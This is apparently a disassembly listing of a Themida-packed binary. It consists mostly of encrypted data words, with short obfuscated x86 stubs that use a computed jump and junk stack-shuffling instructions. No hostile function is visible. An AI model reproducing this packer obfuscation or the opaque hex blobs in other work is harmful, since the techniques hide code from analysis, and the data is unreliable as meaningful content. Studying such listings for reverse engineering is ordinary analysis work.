dd 4A9Ch, 2F71D500h, 0FFF105B7h, 5DC6F32Fh, 7A12E3CCh
dd 6D2B6CECh, 0C8E20A23h, 6E9B069Ah, 65422405h, 0CD368172h
dd 6309FFD5h, 50C0B1F3h, 16308ECBh, 0E8257596h, 5E2E20FAh
dd 0EADEF522h, 395A2A1Ch, 1597B1B0h, 994B452h, 0D5BFD2F3h
dd 5F2012E4h, 41F7AB14h, 33B37265h, 20EAE312h, 5B465A11h
dd 19C9E32Eh, 0C959B87Bh, 831495B6h, 117A0E62h, 0DEC09F91h
dd 0CA6ABE12h, 0A4CE334Dh, 642CFD73h, 2A774343h, 0E6D022FAh
dd 2D06h, 2F71BF00h, 0C5DE4774h, 0E77A0D48h, 996D5F76h
dd 168CD7A7h, 946ABD3Ch, 7E6D814h, 6ABD3C97h, 0DEA3F711h
dd 0E6D042AEh, 10ABAh, 0E4D57300h, 54906655h, 0DE9D562h
dd 0CB5D8E1Bh, 0C80118D9h, 7E98453Eh, 6BBD2E5Dh, 47B2B75Ch
dd 36A77265h, 216CB7E4h, 653EEAB8h, 0F540C072h, 72653EADh
dd 175C7DFDh, 0A7100BC4h, 72653DFBh, 1F32FAFh, 0EC199010h
dd 0D4CE883h, 8E27417Ah, 5782B23h, 2F6CBCDDh, 2D69BDh
dd 0FE564CB5h, 0D4546ABCh, 0D0E76EB3h, 86904E1Dh, 6788C494h
dd 0A8D5CCD4h, 6FD85591h, 6ABCFE33h, 0C9BBF777h, 3CCE00F9h
dd 0D94FB81Bh, 0CA7267AEh, 2E5A657Fh, 31D9CCFFh, 12C2BCE6h
dd 4D6EEE63h, 3F0EC0FDh, 0BB8B7D89h, 0C4BD8D7Fh, 4010020Ch
dd 0EC0D704h, 4C7D0AFCh, 0FA5D7EBAh, 0C1BE7E3h, 0DBF10DB9h
dd 2DB8A783h, 0C4E9C45Ch, 57000001h, 2C7F8E68h, 65968B2h
dd 0E23544D2h, 0B90C1BE5h, 0A1E2F10Dh, 39C50142h, 11E5D72Ah
dd 0EA3CAF02h, 0C55788DBh, 30997AB6h, 7A12F972h, 0D5F69D38h
dd 0ABFE0DE9h, 1A152832h, 6E2211BAh, 71EC2332h, 0FC47742Fh
dd 65420F93h, 0F802BC72h, 0DA3D5EDEh, 0F04A788Fh, 0CC8B12E4h
dd 0CCED2947h, 0D4A584Bh, 0E2D4547Ah, 0BD3E9B03h, 0A7F30D6Ah
dd 0D040AADAh, 0ADB6E6h, 0D56F0000h, 91CF52E4h, 569CF174h
dd 2F9B281Ah, 0F25BA6D3h, 7265FFB0h, 48817AFAh, 0DBFCCCBEh
dd 495D4B3h, 79907266h, 6594B541h, 4093A274h, 3A0CC08Fh
dd 513B2C94h, 3874B042h, 604B5546h, 68A1CA33h, 1B9B7A0Dh
dd 7D6E850Ch, 0A9F78AABh, 708AD502h, 1F999BF2h, 0DC5D7E0Ch
dd 7268B5EDh, 475E8B0Bh, 1D707F9Bh, 753F55A1h, 0B62DBB3Eh
dd 0D9431Eh, 7D6C0000h, 894194A3h, 0A51B6E7Dh, 0CAF74A59h
dd 10CE2130h, 2DB6F706h, 3D4CD614h, 1524F2EAh, 0EEFD0BC2h
dd 0C9D8229Bh, 5F43AC8Dh, 4B7A12FAh, 0E9D509B0h, 32ABFE0Dh
dd 0A1A2D9E8h, 798D3F56h, 366CB787h, 74726542h, 2BA4D3F4h
dd 69B4E1h, 726542A2h, 3F678808h, 0E0EF39B2h, 0FDA50E59h
dd 9A726541h, 65427131h, 9FB93972h, 1ECFFE1Fh, 31AAFD0Ch
dd 0AC16F5E7h, 5FA044E4h, 1BA89A6Ch, 117498A2h, 0C5E0601Bh
dd 66079789h, 79F503B3h, 0B812645Ch, 2C7E16EBh, 0C8D7219Ah
dd 0C0B24475h, 7A6CB633h, 90267416h, 86A0CD5Fh, 1731CD4h
dd 0FA3F608Fh, 0B12736A7h, 5C372965h, 1Bh, 0DC87A195h
dd 0BD4784B5h, 0F6FFFBCBh, 13325301h, 168CF540h, 9472660Ah
dd 0D5E0F314h, 8D1A0CEAh, 4BD8CA5Ch, 7948690h, 0C24F41D5h
dd 7B08FA04h, 34C1B34Fh, 0EE7B6DB7h, 0AD3A2CFAh, 79F7E93Dh
dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 5E08950h, 4, 42Dh
dd 24048700h, 242C895Ch, 5E08950h, 4, 42Dh, 24048700h
dd 243C895Ch, 4111B850h, 40401FAEh, 0BC2CA805h, 27BA5272h
dd 0C15A9867h, 0EAD104EAh, 0E2CA814Ah, 0D105413Bh, 0C3C281EAh
dd 3152D625h, 0D0F75AD0h, 58F1DA05h, 58C589CCh, 64B668h
dd 24248900h, 4240483h, 8BB535Fh, 81000000h, 2F5DC4EBh
dd 81FB0178h, 2F5DC4C3h, 5B2B8978h, 52243C8Bh, 0C281E289h
dd 4, 4C281h, 14870000h, 2C8B5C24h, 0E0895024h, 405h, 4C08300h
dd 5C240487h, 0FB8FB8E9h, 4941E6FFh, 0BE1186DDh, 81AE0AC0h
dd 979706Ah
; ---------------------------------------------------------------------------
loc_5DCE9C: ; CODE XREF: Themida_:loc_5DB72Cj
mov eax, 7ADB967h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 4Dh, 7, 0F0h
dd 9A797970h, 56080C01h, 0F4295Ch, 791A0E31h, 9987247Eh
dd 5E803h, 7F750000h, 8B18BA9Eh, 81F558D9h, 6C29C0h, 66C93300h
dd 24DCE381h, 810134FFh, 0E0487FD7h, 8B665A05h, 27EA81DAh
dd 0BF1B510Eh, 687DD759h, 8BC5F281h, 14E81BD2h, 78000000h
dd 9BF55D09h, 0CB9D87C5h, 0FA201C93h, 0A12BCDE2h, 0FC923C71h
dd 2BEA815Fh, 0F086043h, 88Ah, 0F3815700h, 4615448h, 814895Eh
dd 6429BE66h, 19AAE981h, 830F542Dh, 20h, 1A800Fh, 14E80000h
dd 62000000h, 0E90A2D41h, 0D5AC1F96h, 0B8ACD438h, 0F9FEC317h
dd 5BBD3148h, 19A6C181h, 5B52542Dh, 9480F981h, 850FFFFFh
dd 0FFFFFF6Ch, 8DDE8B66h, 0ADBBE08Dh, 0D9BF0F07h, 17318D89h
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0BD0167C3h, 7A81CA1h, 0EB5B589h, 85C707A8h
dd 7A80A59h, 5CC0h, 0B830Fh, 880F0000h, 5, 0FEF68166h
dd 3985C7ADh, 7A809h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0DB41C357h, 89C8E699h
dd 0A82A599Dh, 0FDB5FF07h, 6A07A805h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8B21C357h
dd 9453B866h, 1A9995FFh, 6A07A8h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 0E96E9BC3h, 0B860D992h
dd 6A99EBh, 0D2195FFh, 0C08B07A8h, 939D5BEBh, 6856116Eh
dd 0BBD1F010h, 122004BDh, 1685835Bh, 567FFDDDh, 204016FEh
dd 8736EA7Eh, 0E7604EB4h, 75612EEBh, 9A5281C6h, 27B17351h
dd 8778FDACh, 2E975656h, 0D2126155h, 43B1B73Bh, 1077BC03h
dd 4C84F789h, 9269006Dh, 1C343659h, 7025E0F3h, 39AFA8EAh
dd 0E241B1A5h, 5E842h, 0E1B40000h, 0E9015E0Dh, 13h, 4DE5F59Fh
dd 0B6927433h, 1930BB0Eh, 7C8CCCA3h, 5B997AC6h, 8058D8Bh
dd 0C38107A8h, 6E58h, 1B7368h, 958D8B00h, 5F07A828h, 0EEDD8051h
dd 0F33FF5Eh, 8958CABFh, 0A80A7DBDh, 0AFC08107h, 0F7C71A3h
dd 0C081F0B7h, 482BCE28h, 23819D29h, 0F08107A8h, 5CB119A8h
dd 96C68166h, 0E903890Bh, 0Ch, 7CD12B9Dh, 0D96D8755h, 1C06EC09h
dd 0F03EB83h, 8B4BF7B7h, 0A800258Dh, 850F4F07h, 0FFFFFFADh
dd 8D8DF08Bh, 7ADBD6Dh, 0D5C38166h, 318D8908h, 3307A817h
dd 0A8303195h, 0ED8D8907h, 0C707A82Fh, 0A80A5985h, 597007h
dd 0D8D8900h, 0C707A805h, 0A8093985h, 7, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 55D5A3B0h, 74D98E66h, 9D8BAAB0h, 7A80471h, 1559B5FFh
dd 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 0FD05AC3h, 95FFDABFh, 7A81A99h, 6AD2BF0Fh
dd 2195FF00h, 8B07A80Dh, 283FEBC0h, 0AC05D86Eh, 0C4B4955Bh
dd 0A51B3C2h, 5D898605h, 26B7CA75h, 49099CB1h, 0AC047915h
dd 49B13DC8h, 0F2B45B6Dh, 0B67DBC91h, 0BFDC4607h, 0AE22DB54h
dd 108D6829h, 0C19596EFh, 0F5B6EB2Fh, 28E95246h, 1E000000h
dd 76D932h, 8 dup(0)
dd 0E9000000h, 5ABh, 0F2433E4h, 4C617626h, 8DA2B563h, 0CCE1F6A4h
dd 122730E3h, 3DE0C504h, 7D1C051Ah, 0BF5C455Ah, 0F89A8398h
dd 4BEACADFh, 0ABB3CF05h, 8D3BD5CBh, 7A072ABh, 0AA774255h
dd 0CC8E7189h, 0D08300CBh, 9C9B2C7h, 7A9BBC5Eh, 9780548Dh
dd 0AE7FFCCh, 0A0D61C71h, 0A6D35970h, 0F2A4879Fh, 0FF9D1AE5h
dd 45667128h, 0E47267Ah, 1A604D4Ah, 0D35970E4h, 0B0CBE3EAh
dd 0F3E4B645h, 2028E406h, 0FBD99AF0h, 6D3BCE3h, 4613FC11h
dd 692B6451h, 0BED6A36Eh, 0D6B564E1h, 59685A90h, 0EEA960D3h
dd 0DCA7C8E9h, 0BA49B461h, 0E0E5FA1Dh, 88CDC0BEh, 465ED9FDh
dd 27F4B363h, 968ECE97h, 0BEDF527Eh, 0F48D29Dh, 0E9D358E1h
dd 9DD3196Eh, 0A3D358E1h, 0FE69849Ch, 0A88E1852h, 93E11Bh
dd 0C7DF0000h, 0AB350017h, 0D3597073h, 0A04BB64Dh, 0D2A3B467h
dd 0FDFD1502h, 1BA801B5h, 68Ch, 60387100h, 0C7795F77h
dd 0C0150215h, 5970447Ah, 2B434AD3h, 4803D14Eh, 5970CC02h
dd 0FACBD2D3h, 4F1A3B5Ch, 0B9DE7DB6h, 7A6B88EEh, 8ADA733h
dd 2EECCFE7h, 0EDB8DF79h, 376B6F87h, 0F91ACEB9h, 0BEB90DD8h
dd 0FE53A853h, 595D82B8h, 0A38188D3h, 0D3595D6Dh, 0C0B26C73h
dd 90B088DEh, 4616F911h, 6E2B6451h, 252A5169h, 62529A03h
dd 2941B7E0h, 6E839446h, 5314C782h, 4A80C685h, 50D35970h
dd 905D2849h, 0E90BA46Fh, 78AB31E3h, 44F54028h, 42F69C56h
dd 0B85C3F57h, 0DA79B29Fh, 3C8A5BDh, 356BB106h, 3BD358D1h
dd 96011C34h, 0F0E7B2EBh, 5D405825h, 9B8499BEh, 9411DCFBh
dd 0C308D3C4h, 0AF933FAAh, 121BA760h, 0CBh, 52D5F7h, 9D0D3C1Ah
dd 14C79F85h, 669F3803h, 9D6A1B6h, 814A0EF1h, 5970053Bh
dd 82540BD3h, 0F1A37495h, 0B6D8C5E6h, 0E6DB9513h, 0DA1BAE0Eh
dd 5442F3E3h, 0EA3E1B33h, 26F584EFh, 0F5171C31h, 67F81030h
dd 0CDB0C842h, 0C13E090Eh, 0F2370215h, 54BA0F5h, 0D358D1CFh
dd 0BAF0CED5h, 0C0D358D1h, 5086CCB9h, 56D358D1h, 0B11C374Fh
dd 0C0BCD06h, 60CEF4F4h, 57901BA7h, 0F202FB83h, 0C0055FCAh
dd 646B879Fh, 69000000h, 7E6489ABh, 343BD32Ch, 7D9A391Ch
dd 0C7406E90h, 0DEE17D08h, 0AF6CE9C6h, 0BD60DDA8h, 602B2CEAh
dd 2AA77293h, 22589E6Dh, 28D35970h, 0B8350021h, 4E49F1E6h
dd 566704E3h, 0EEB95CEBh, 905D282Fh, 0C76E5A6Fh, 0AD370215h
dd 0D3597074h, 59B1D34Eh, 18252178h, 0E8536E86h, 0A8C8763Ch
dd 1CB1Bh, 0ABC90000h, 5A00A772h, 0EB511C3Dh, 0F29DB1D5h
dd 1A3253FBh, 89766137h, 8AB8EE34h, 0B7BED358h, 0F029C29Fh
dd 0E71D6328h, 0EDD3588Ah, 2DFAC5E6h, 0C7603215h, 6F3C0710h
dd 5B08834Eh, 4F0C45F0h, 8B4D3048h, 1D72778Ch, 588BA1D7h
dd 88A0A7D3h, 0B6A373E4h, 9F8F70h, 7A1D56DBh, 7E85455Dh
dd 5FF81AB3h, 78DC272Ah, 9042253Dh, 0C9897287h, 417903CEh
dd 58DB0107h, 8D4DDC47h, 0CA8C758Ah, 306902CDh, 6E51696Eh
dd 1BE0ABACh, 56089702h, 6C262C41h, 0B5E3F068h, 111h, 0C4C6789Ah
dd 897F288Eh, 72AB8B71h, 1DEAB5A2h, 20F46105h, 3A5DFA33h
dd 0E8DD2322h, 0EEDB019Dh, 61831CE7h, 823C8D74h, 0E8CBE30Ah
dd 9BD78836h, 0AA41499Fh, 0CB8B7489h, 0D28401CCh, 0D87DFAC5h
dd 0A377F4BFh, 0DD52E9B4h, 617A9372h, 0A0B767F6h, 0B8DF7AB3h
dd 0ACAB70EDh, 0DBF314E1h, 0A276AFB4h, 0D59D9DB5h, 2CE3FFA1h
dd 3Ch, 0C115062Ah, 0DEF99BD4h, 2B81C7C6h, 31535970h, 9FD55F2Ah
dd 68535970h, 0DB3888F3h, 6AC006F3h, 70D35970h, 7021579Dh
dd 5427D359h, 5970D80Eh, 0B6D7DED3h, 6A3C8095h, 7E000000h
dd 0D8C51106h, 18C3D92h, 0D9E204DBh, 8FD1A162h, 0F8C3D482h
dd 32F20A2Bh, 8EC7602Bh, 0CDB0C8CFh, 0E41D0A0Dh, 0D8552037h
dd 0D9F11205h, 7509C9B2h, 56E91221h, 0CB96B772h, 2020641h
dd 0A10C1DDBh, 42574012h, 0F7A7BF98h, 274815E0h, 0C070F43Ah
dd 6F76E2AFh, 607727A4h, 26D1A95h, 8471A5B2h, 5D7DBA3Eh
dd 0A4B9C0EAh, 0C51106B8h, 0DCFB9FD8h, 2D2C4411h, 72E63E7h
dd 24F12ADBh, 839B6833h, 58F1BCC3h, 465E791Fh, 0B7A4B363h
dd 0B9374062h, 0EFF18EFFh, 680DB11h, 0C2DAE1DBh, 0F7E0B29Bh
dd 0B87CE80Ah, 9E696E2Dh, 0C21E17D1h, 8A677Fh, 4C7C47DFh
dd 360116C2h, 31FC1BB9h, 9E8536Ch, 6CFB6661h, 0AF98ADAAh
dd 0A01DE8EFh, 9712DDFAh, 2EF07FEAh, 0ED0F1429h, 0B0E05618h
dd 0DE241181h, 4C7C10A8h, 0AC8FA7AEh, 7E993DEAh, 0EF944DB3h
dd 5024EF5Ch, 9FB85E2Fh, 1BE607D4h, 1443h, 63336C00h, 0BDCA974h
dd 0B27F4A4Dh, 25DCB49Ah, 11292EECh, 116C72Bh, 0FE19B936h
dd 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh
dd 0C4D38502h, 0BFD87CF9h, 89513CF4h, 4C181E1h, 83000000h
dd 0C3304E9h, 240C3124h, 5C240C33h, 2C8668h, 243C8900h
dd 5E08950h, 4, 8704E883h, 895C2404h, 0EC83242Ch, 24348904h
dd 0ADBDE3BEh, 5EF78907h, 242C8B54h, 5104C483h, 8B9h, 89E90100h
dd 240C8B39h, 4C481h, 2C8B0000h, 0E7895724h, 4C781h, 0C7830000h
dd 243C8704h, 2434FF5Ch, 4C4835Fh, 0FABC2EE9h, 40FC2DFFh
dd 0E8EA3096h, 0B85C9807h, 7ADC30Dh, 0E0FFC503h, 53F791F1h
dd 789B0E62h, 64249C83h, 322AA042h, 185C45FAh, 225D6B8Ch
dd 7B2D6F32h, 2D1F6CE3h, 60E67674h, 42EF5742h, 0E310AB5h
dd 2B387A42h, 3D23932Ch, 7BA182BFh, 2405F2E4h, 7EA696F3h
dd 2F5C9AA8h, 4DDF2F1Eh, 2CDE8C5Fh, 594F6A9Ch, 4CD9F27Fh
dd 6D65A9FFh, 2569F49h, 77E0773h, 41F41BA9h, 2F8A60F4h
dd 7CC60693h, 7F478597h, 4CE9h, 8B141400h, 2Ah, 0C51C5700h
dd 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh
dd 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h, 7 dup(0)
dd 0ACBE900h, 46680000h, 0E907ADC5h, 0FFFABB4Bh, 0ADC67068h
dd 0BB41E907h, 7768FFFAh, 0E907ADC7h, 0FFFABB37h, 0ADC83268h
dd 0BB2DE907h, 0DB68FFFAh, 0E907ADC8h, 0FFFABB23h, 0ADC9BD68h
dd 0BB19E907h, 6E68FFFAh, 0E907ADCAh, 0FFFABB0Fh, 0ADCC7568h
dd 0BB05E907h, 6468FFFAh, 0E907ADCDh, 0FFFABAFBh, 33484F10h
dd 788D8A4Ah, 0B9CEC98Fh, 0F80D0AD0h, 364B4C0Fh, 5104A128h
dd 91483146h, 0D3887186h, 14C6AFC4h, 6F0EEE03h, 0ABABF329h
dd 0B15FF9CBh, 0D8C51106h, 7348992h, 9B888FDBh, 92A7B062h
dd 0DC22E9A9h, 0DB0734A6h, 33F1276Dh, 0F0F7DB07h, 4F1A3B42h
dd 0B9DE7DB6h, 650921EEh, 0F13724F0h, 0E2B4F8CBh, 0A4DDCAD1h
dd 0E7D0E5F2h, 17552037h, 0C7E9D63Eh, 0B58F490h, 55546C70h
dd 5D2F8E0Fh, 958D94EAh, 0E44A9125h, 1E673FD4h, 81000009h
dd 0C9B2C7D0h, 0EF70C0Bh, 4F384D4Ah, 8E778C8Bh, 0A5B3C8CFh
dd 0C5D28124h, 710C7B0h, 4B4C09F2h, 8A8D4D36h, 0B0F69575h
dd 0CBABAB7Ah, 0C738E680h, 0B8350017h, 32DCF1E6h, 2B235825h
dd 7A2519EBh, 65336C59h, 155B5A72h, 0DB00DCD4h, 0ADE6D3DAh
dd 5724EFE8h, 9ED8623Fh, 0B9DB00DCh, 0C18935A0h, 18E3FF69h
dd 4Ch, 0A472AB16h, 31BE8B3h, 0A86EF65Fh, 6A87F5AFh, 14E2B34Fh
dd 78B106F3h, 0AE9EB6A1h, 0DB007779h, 10FDDF7Fh, 80811FC5h
dd 0D00A945Fh, 0EBDB0110h, 67BC67D2h, 10FEB21h, 0D2EAF1DBh
dd 0F06198D2h, 96457EE3h, 0AF4D6981h, 4B000000h, 350017C7h
dd 0A1B6639Ch, 0EF109D6h, 7D484Fh, 0D56E395Eh, 70043A80h
dd 30AD359h, 415608EBh, 73F9362Ch, 87C0D359h, 0C9ACC4D3h
dd 10F90E09h, 407E494Eh, 0CC12FFD7h, 0DB019A17h, 5701161Dh
dd 0D42916FEh, 9A03397Fh, 209DB01h, 4AE3FAEAh, 0E2E9E2ACh
dd 3219BCF5h, 0AC4AB6ECh, 0E4B5BCE2h, 89562136h, 0AB6A5368h
dd 0F64CB4ACh, 0F68BFC1Bh, 7F41Eh, 91865700h, 0D6C1937Ch
dd 1700D8C1h, 5A7D1902h, 9EB95C45h, 574E7B89h, 957E9384h
dd 0D7C0D5C2h, 17001502h, 5B3B5047h, 0AA4076BCh, 0AC46CBABh
dd 314C7FEh, 425505EEh, 1106412Dh, 5D92D8C5h, 63DB0176h
dd 9C3BECACh, 4C395A7Bh, 47C3C2Ah, 0BCD49F73h, 0B32446DFh
dd 0A0B76461h, 164E08D5h, 6F5F774Eh, 0DB01DC35h, 87524518h
dd 0F99D4A0Ah, 254613DEh, 0A00B065Ah, 0A40F28C1h, 0FF95B2F8h
dd 0DD87E3h, 0C7850000h, 0F8806717h, 8E1A2D48h, 0E709A26Dh
dd 0B125435Dh, 0ADF579CAh, 0BFF69C56h, 0B95C3F57h, 0C49D39Eh
dd 0EFD35952h, 0E63B282Fh, 59526AA0h, 7C6970D3h, 59520036h
dd 0E7FF06D3h, 1007D7C0h, 0C60E0745h, 77DE93D9h, 83A5DB01h
dd 3EDBF62Ah, 80F55F19h, 96ABCEBDh, 0B8D94278h, 0C4D9E0A0h
dd 0ECD93D1Ah, 0AC7E7EA6h, 907D84E2h, 33E38457h, 6B8C5924h
dd 0A9AE6D56h, 1A2255B1h, 27FF94FCh, 6EDh, 73888F50h, 0B8CDCA8Ah
dd 0F90E09CFh, 384D4A10h, 768B8C4Fh, 91446168h, 0D1887186h
dd 13C8B1C6h, 5406EF04h, 0AF4E2E43h, 0ABA93369h, 0F19F39CBh
dd 0B4A372ABh, 21041CE9h, 67506572h, 91B3A0B7h, 0B58F290h
dd 0F2A9D3E4h, 7A6C500Ah, 3E5F781Dh, 9D50B51h, 0D4DBD359h
dd 0C7A995BCh, 8B8C5017h, 0ABE127C0h, 0B1D35970h, 9D6889AAh
dd 44597E20h, 5970144Eh, 292136D3h, 5970ADE3h, 8BACB3D3h
dd 0A6B1659Eh, 0F7F60EDBh, 7349EB1h, 0B09DA4DBh, 9BB0A777h
dd 2CF7E0B2h, 0C0AD69EEh, 0AF5DDD7Ah, 0AC6BA4E2h, 6D385FFBh
dd 0E7B47FA0h, 10080FCFh, 0FC1CC38Ch, 32CEA63Bh, 95000006h
dd 0D5BED3C4h, 12FB1007h, 533C5146h, 927B9087h, 0B1BFD4C3h
dd 0C9CE8D18h, 0B0CCBB4h, 4F480DF6h, 9681513Ah, 0BC02A181h
dd 0CBABA886h, 0C744F28Ch, 0B8350017h, 6126F1E6h, 8C4EDD48h
dd 3A70768Bh, 0FF1BA801h, 0Ch, 1726CFDh, 5C950000h, 9C829ABDh
dd 597080BAh, 61B5A2D3h, 34102E74h, 0F16DB07h, 2E29E922h
dd 43540841h, 0C6FF042Bh, 6C390413h, 0B6A17154h, 6CA8ADEBh
dd 80D52A7Fh, 734043Ah, 25030ADBh, 0DB0733EFh, 621007D2h
dd 0CDEEE9ABh, 5E28C5B5h, 272EE2AFh, 1CC2E32Fh, 31099EFCh
dd 589h, 172C2BECh, 54696E2Eh, 95AAAD6Bh, 0D4E9EEACh, 1A2F28EBh
dd 35E8BD0Ch, 75240D22h, 0B7644D62h, 0F0A28BA0h, 53F2D2E7h
dd 0ABA8D70Dh, 9543DDCBh, 130017C7h, 7B4DB3F1h, 152DB5CCh
dd 0FC1BBB38h, 3E74BA0Fh, 44D35944h, 8348253Dh, 8D8A4D86h
dd 44EF5A75h, 30484F0Bh, 758A8D4Dh, 0A82D3B6Fh, 11FE1Bh
dd 6CFC0000h, 0ACh, 0C4FA4095h, 0CAD35970h, 6C5ABC3h, 83D8C511h
dd 70B2E82Eh, 0B1B8D359h, 34A0A999h, 2E67DB07h, 93536B6Ch
dd 0B4669F8Ch, 0F394B6A3h, 0B577BBAAh, 9499C0D8h, 42DF7A72h
dd 172FB1CEh, 0AA756234h, 3E2BEB6Ch, 0B504D2F8h, 0BF05D8E2h
dd 0E2B50489h, 7A67888Fh, 0D69141h, 0F8E1F617h, 28663126h
dd 0B4FAE72Fh, 0EA5D3533h, 0F23A3239h, 9DE44AEBh, 4A73008h
dd 490A0000h, 8C50394Eh, 0CB8D768Bh, 8CEB7CCh, 4211FA0Fh
dd 97324055h, 33484F0Eh, 73888F4Ah, 0B5CACD8Ah, 0F80D0ACCh
dd 0FD337918h, 3CBABA6h, 126CBB69h, 0AE000001h, 0D8C51106h
dd 8C8B4A83h, 347B8474h, 7A81DB07h, 0CB16388Dh, 0C5199384h
dd 0DF7F627Ah, 0C292CBB8h, 46677025h, 0E002072Eh, 5831A569h
dd 0BEA1B9E9h, 0F230FB1Ch, 7EC4B165h, 0E2B43C58h, 2631E61Fh
dd 13D48E5Bh, 6646DB17h, 0C8CF8FA7h, 0E7F0A2DBh, 7E29E9D2h
dd 0D39EBFD8h, 0DF7A183Ah, 3836D742h, 8B9B7C20h, 0BBA8C9CEh
dd 5BF5F475h, 0FBF3FAEAh, 0E44BAA5Bh, 0F6F9D166h, 59000003h
dd 0A18A9FB8h, 0E6CFE4F3h, 27102532h, 664F6473h, 7D8BA0B7h
dd 9DBA594Ch, 0DFF89F88h, 2334E1CAh, 6275250Eh, 88CE6D4Dh
dd 0CBABA652h, 0C710BE58h, 0B8350017h, 6126F1E6h, 8C4EDD48h
dd 3A70768Bh, 0FF1BA801h, 4Dh, 0EAEDABE4h, 905B7C19h, 6C5ABC3h
dd 92D8C511h, 0DB01BEA5h, 7EB7A4ABh, 0B2A8BDDAh, 0DB01BE79h
dd 0D5311E40h, 644A80C6h, 4950DB02h, 1DDA08Fh, 435406E9h
dd 587F1D56h, 68301940h, 0E90BA46Fh, 48E3E61Bh, 5391A99Dh
dd 361h, 512C795h, 0FA1DBD3Ah, 1601D40Dh, 2CEED7FEh, 0EDB8DF7Bh
dd 0B734FF20h, 0CA03F0E7h, 0CEF50D0Ah, 0F6E33324h, 2EF91EBDh
dd 70194F95h, 181FD359h, 9AE0DFF7h, 0DB019859h, 4E6CFE20h
dd 8964C134h, 904B1083h, 0B8D0F10Fh, 0A9DF25F8h, 0AFDB019Eh
dd 128D4A0Fh, 45664D05h, 95CF5924h, 0B0DB01DBh, 48812C97h
dd 3D73B992h, 43DB01DBh, 3031B3Ch, 0E3F0684Fh, 4792h, 11069000h
dd 5D92D8C5h, 24DB0176h, 5D282FEBh, 0E5B87890h, 176699Fh
dd 47686FDBh, 3EC1E37Ch, 430006EBh, 1F594961h, 3ADB01D1h
dd 400AB621h, 99E3FF9Eh, 0FBh, 8295457Eh, 0A2D81EB7h, 0A8DB01C5h
dd 826880A1h, 0DA1056ABh, 0A1D35970h, 5970255Bh, 76242BD3h
dd 0A274576Fh, 0CD8FC8B5h, 7082B8FEh, 8188D359h, 0D26B4860h
dd 0C90FFC99h, 0D3597093h, 0A6719299h, 3FDEC1D9h, 9DD62B18h
dd 0C8FEDCFBh, 0CED35970h, 4907812Eh, 2E4F8DEEh, 1ABC3916h
dd 0E5B532FDh, 0AAE7DDF2h, 8DD35920h, 0CCB5CACDh, 4420D0Ah
dd 7BB1F713h, 81D35920h, 266C597Ah, 0DB012EB9h, 9EA3B8BFh
dd 0B8A5B265h, 12E3C72h, 233B42DBh, 513E967Fh, 8C574018h
dd 573A05BFh, 0AFDD4E02h, 0A2529897h
dd 0A8E2AC1Ch, 0D87BB4A1h, 834E490Fh, 978095B6h, 0B1DBD3C4h
dd 30FC1B84h, 1EFC39Bh, 81520000h, 0C4988196h, 3D5BED3h
dd 4016FF14h, 0BA594257h, 4F7A889Dh, 7B908756h, 0BBD0C792h
dd 0FD1205D2h, 40554214h, 457BC160h, 4BCBABA4h, 14C703B1h
dd 5505EE03h, 0AB412D42h, 70DA1056h, 0D9E0D359h, 0DC381DC1h
dd 0B2619AEFh, 689D8DA5h, 6EDB0176h, 93417A67h, 9C3CB984h
dd 65425A7Bh, 176A1DBh, 0C6D184DBh, 0BFD87EFBh, 61CC79F4h
dd 0CAECE982h, 79DC4814h, 0A7C2DA86h, 5ADA903Ch, 0B31FE3FFh
dd 1D000000h, 130017C7h, 1193EDAh, 0E3F4A724h, 74518E18h
dd 6234D359h, 0A9668875h, 96DB718Fh, 14FD243Ch, 4C8A5542h
dd 0E51E0BCBh, 8D5A2532h, 25245AA0h, 232AD35Ah, 59C60C0Bh
dd 5FDB0234h, 0BC994358h, 16256B58h, 1CE2ACE1h, 2BEF2815h
dd 0DC15142Ch, 4091E39h, 3D080FCBh, 0A6755870h, 5F91B9B1h
dd 0AB40FC1Ah, 100D3h, 0A5B26300h, 0E2F5A790h, 2334E4CDh
dd 6671250Eh, 0A2B56851h, 5B4A7F8Dh, 0A18A9FB8h, 0E3CCE1F6h
dd 230C2136h, 6F4F6473h, 0A3548AD0h, 0C05ACBABh, 0A372AB12h
dd 706CA2E8h, 6B72D359h, 0BCDB794Ah, 512C1A4h, 405707F0h
dd 72AB3F2Bh, 475002A5h, 0C38EAF7Ch, 203CF6h, 72FC11E8h
dd 0B0A7775Ah, 0A1B668E5h, 0A175E28Ch, 4E406EB4h, 8F46DB06h
dd 0E1ACCDCAh, 4A4D0F48h, 888F4F32h, 0A2B5629Bh, 0D87A638Ah
dd 4E77ADF3h, 767DDB06h, 6C2F6855h, 0EC76536Bh, 82D29F7h
dd 0E9D0803h, 255E4B4Ch, 2E746176h, 82D29F8h, 0B8DFF7FEh
dd 3D080FCFh, 0E21282A4h, 0DA1779DAh, 824D4A09h, 1CBA9DB5h
dd 0E1B330FBh, 0E8AE2BF6h, 465F24EFh, 0C1F263DBh, 759B14BAh
dd 6DD88554h, 61B3CDEh, 0EFAA7D1Dh, 4C12EE8h, 61720089h
dd 7B1A5340h, 0D7C4915Ch, 2D005B91h, 425A6108h, 38D65h
dd 0DCCF0000h, 116C73Eh, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh
dd 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h
dd 54513CF4h, 4C18159h, 83000000h, 0C8704E9h
; ---------------------------------------------------------------------------
and al, 5Ch
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], esi
push 4F161B5Ch
pop esi
inc esi
shr esi, 6
xor esi, 6919CDAh
mov eax, esi
pop esi
